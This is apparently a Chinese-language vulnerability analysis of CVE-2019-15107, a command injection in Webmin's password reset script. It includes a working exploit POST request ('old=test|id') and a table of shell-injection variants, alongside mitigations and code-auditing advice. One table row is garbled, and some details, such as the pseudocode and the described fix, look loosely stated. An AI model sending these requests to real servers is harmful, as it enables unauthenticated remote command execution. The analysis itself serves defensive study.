CVE-2019-15107 漏洞深度剖析:Webmin密码重置功能中的1处命令注入逻辑缺陷
CVE-2019-15107 Webmin密码重置漏洞的代码级剖析
漏洞背景与影响范围
Webmin作为一款广泛使用的Unix系统Web管理工具,其1.920及之前版本中存在一个高危的安全漏洞(CVE-2019-15107)。这个漏洞位于密码重置功能模块password_change.cgi中,允许攻击者在无需任何身份验证的情况下,通过精心构造的HTTP请求在目标系统上执行任意命令。
受影响版本:
- Webmin 1.920及之前所有版本
漏洞本质:这是一个典型的命令注入漏洞,源于对用户输入数据的不当处理,导致攻击者能够突破预期的命令执行边界。
漏洞触发条件与技术原理
关键触发路径分析
漏洞的核心在于password_change.cgi脚本对old参数的处理逻辑缺陷。当满足以下条件时,攻击者可以注入恶意命令:
- 非系统用户触发:必须使用一个不存在的用户名(如"rootxx")作为
user参数值 - 密码重置功能启用:目标系统需要启用密码修改功能
- 特殊字符注入:通过管道符
|或其他命令分隔符注入系统命令
# 伪代码展示漏洞核心逻辑 sub handle_password_change { my $user = param('user'); my $old_pass = param('old'); unless (is_system_user($user)) { # 漏洞点:未对$old_pass进行充分过滤 system("echo '$old_pass' | some_password_utility"); } }参数流转与命令拼接
攻击者通过构造特殊格式的POST请求,使恶意命令被系统shell解析执行:
POST /password_change.cgi HTTP/1.1 Host: target:10000 Content-Type: application/x-www-form-urlencoded Content-Length: 60 user=rootxx&pam=&expired=2&old=test|id&new1=test2&new2=test2参数解析流程:
- Webmin接收到密码修改请求
- 检查
user参数是否为系统用户(rootxx不是) - 将
old参数值直接拼接到系统命令中 - shell解析管道符
|,执行后面的id命令
漏洞利用的深层技术分析
非系统用户路径的特殊性
为什么必须使用非系统用户名才能触发漏洞?这与Webmin的密码修改逻辑设计有关:
- 系统用户处理:会调用PAM等标准认证模块
- 非系统用户处理:直接操作
/etc/shadow文件,使用更原始的命令拼接方式
# 正常密码修改流程(安全路径) /bin/passwd $user # 漏洞触发路径(危险路径) /usr/bin/echo '$old' | /usr/sbin/chpasswd -e命令注入的多种变形
除了基本的管道符|,攻击者还可以使用其他shell元字符实现命令注入:
| 注入字符 | 效果示例 | 适用场景 |
|---|---|---|
; | old=test;id | 顺序执行多条命令 |
&& | old=test&&id | 前命令成功则执行后续命令 |
| ` | ` | |
$() | old=$(id) | 命令替换,直接获取输出 |
` | old=`id` | 同上,传统语法 |
注意:实际利用时需要考虑目标系统的shell环境和特殊字符过滤情况
漏洞修复与防御方案
官方修复措施
Webmin 1.930版本通过以下方式修复了该漏洞:
- 输入验证强化:对
old参数进行严格的字符过滤 - 安全函数替代:使用
execvp等安全函数替代直接调用shell - 权限最小化:降低密码修改操作所需的权限级别
临时缓解方案
对于无法立即升级的系统,建议:
禁用密码重置功能:
chmod 000 /usr/share/webmin/password_change.cgi网络层防护:
- 限制Webmin端口(默认10000)的访问来源
- 部署WAF规则拦截可疑请求
日志监控:重点关注
/var/webmin/miniserv.log中的异常请求
漏洞挖掘的方法论启示
从该漏洞的分析中,我们可以总结出以下代码审计经验:
关注外部输入点:
- CGI参数
- HTTP头信息
- 文件上传内容
危险函数清单:
# Perl中的危险函数 system() open() exec() `backtick operators` # 其他语言的类似函数 os.system() # Python Runtime.exec() # Java安全编码实践:
- 使用白名单验证输入
- 对特殊字符进行转义
- 优先使用参数化API而非字符串拼接
扩展思考:同类漏洞的关联分析
Webmin的这个漏洞不是孤例,类似的问题在其他管理界面中也经常出现:
常见漏洞模式对比:
| 漏洞类型 | 典型场景 | 防护难点 |
|---|---|---|
| 命令注入 | 系统管理功能 | 输入多样性 |
| SQL注入 | 数据库操作界面 | 语法复杂性 |
| XSS | 用户反馈系统 | 上下文多样性 |
| 文件包含 | 模板加载功能 | 路径解析 |
在实际渗透测试中,对这类管理接口的测试应该重点关注:
- 无需认证的功能端点
- 涉及系统操作的高危功能
- 包含外部输入的参数传递链
